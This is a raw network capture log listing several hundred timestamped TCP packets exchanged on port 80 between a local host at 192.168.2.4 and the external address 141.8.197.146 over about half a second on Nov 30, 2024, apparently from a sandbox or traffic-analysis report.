Nov 30, 2024 05:00:13.607819080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.607852936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.608957052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.609040976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.609066010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.610212088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.610277891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.610291004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.611393929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.611433983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.611495972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.612647057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.612729073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.612734079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.613866091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.613922119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.613962889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.615075111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.615140915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.615176916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.616297007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.616342068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.616424084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.617516994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.617583990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.617624998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.618715048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.618818045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.618834972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.619955063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.620023012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.620079041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.621145010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.621205091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.641005993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.641119003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.641166925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.641583920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.641696930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.641743898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.642805099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.642906904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.642946005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.644062042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.644170046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.644294977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.645251036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.645370960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.645504951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.646471977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.646585941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.646625996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.647700071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.647778988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.647898912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.766359091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.766418934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.766464949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.766927958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.767209053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.767288923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.767317057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.768441916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.768452883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.768500090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.769593954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.769640923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.769823074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.769959927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.770000935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.771097898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.771214008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.771260977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.772241116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.772358894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.772416115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.773475885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.773577929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.773621082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.774723053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.774789095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.774823904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.775919914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.776037931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.776156902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.777118921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.777247906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.777515888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.778361082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.778455973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.778493881 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.779568911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.779712915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.779757023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.780800104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.780915976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.780955076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.782022953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.782144070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.782200098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.783274889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.783287048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.783334970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.784472942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.784660101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.784709930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.785727024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.785819054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.785867929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.786935091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.787009001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.787168026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.788160086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.788290024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.788343906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.789349079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.789472103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.789516926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.790592909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.790712118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.790780067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.791815996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.791932106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.791977882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.793036938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.793155909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.793239117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.794277906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.794387102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.794434071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.795526981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.795648098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.795799971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.796713114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.796828032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.796860933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.797960997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.798077106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.798121929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.799168110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.799179077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.799235106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.800379992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.800503016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.800549984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.801657915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.801767111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.801829100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.802820921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.802922010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.802973986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.804063082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.804153919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.804219007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.805250883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.805372953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.805547953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.806466103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.806585073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.806627035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.807754993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.807873011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.807912111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.808932066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.809042931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.809127092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.810147047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.810255051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.810302019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.811381102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.811499119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.811553001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.812606096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.812728882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.812779903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.813829899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.813956976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.814047098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.815032959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.815145969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.815196037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.816262007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.816387892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.816431046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.817480087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.817606926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.817652941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.818701982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.818826914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.818869114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.819926023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.820051908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.820163965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.821135998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.821248055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.821290016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.822314978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.842427969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.842472076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.842540026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.843020916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.843091965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.843110085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.844232082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.844280958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.844356060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.845485926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.845532894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.845588923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.846690893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.846731901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.846796036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.847918987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.848022938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.848069906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.849136114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.849196911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.849203110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.899079084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.967627048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.967694044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.967756033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.968035936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.968142986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.968189955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.969235897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.969324112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.970484018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.970539093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.970544100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.970628977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.971369028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.971415997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.971919060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.972529888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.972651958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.973776102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.973848104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.973874092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.973918915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.974987030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.975092888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.975435019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.976250887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.976262093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.976317883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.977433920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.977535009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.977575064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.978672028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.978763103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.978806973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.979892969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.979909897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.979957104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.981097937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.981193066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.981265068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.982319117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.982443094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.982489109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.983602047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.983613968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.983669043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.984750986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.984870911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.984911919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.985982895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.986088037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.986134052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.987217903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.987299919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.987335920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.988465071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.988570929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.988615036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.989679098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.989768982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.989834070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.990900993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.991080046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.991134882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.992116928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.992248058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.992295027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.993351936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.993505001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.993554115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.994574070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.994663000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.994724035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.995793104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.995897055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.995937109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.997000933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.997114897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.997153044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.998222113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.998313904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.998352051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.999445915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.999525070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.999591112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.000654936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.000756979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.000844002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.001873970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.001995087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.002156973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.003102064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.003231049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.003341913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.004374027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.004426003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.004925013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.005547047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.005646944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.005877972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.006761074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.006886005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.006941080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.007993937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.008095026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.008308887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.009215117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.009326935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.009562016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.010437012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.010535002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.010631084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.011723995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.011775017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.011817932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.012883902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.013000011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.013041019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.014117002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.014224052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.014262915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.015317917 CET	80	49732	141.8.197.146	192.168.2.4
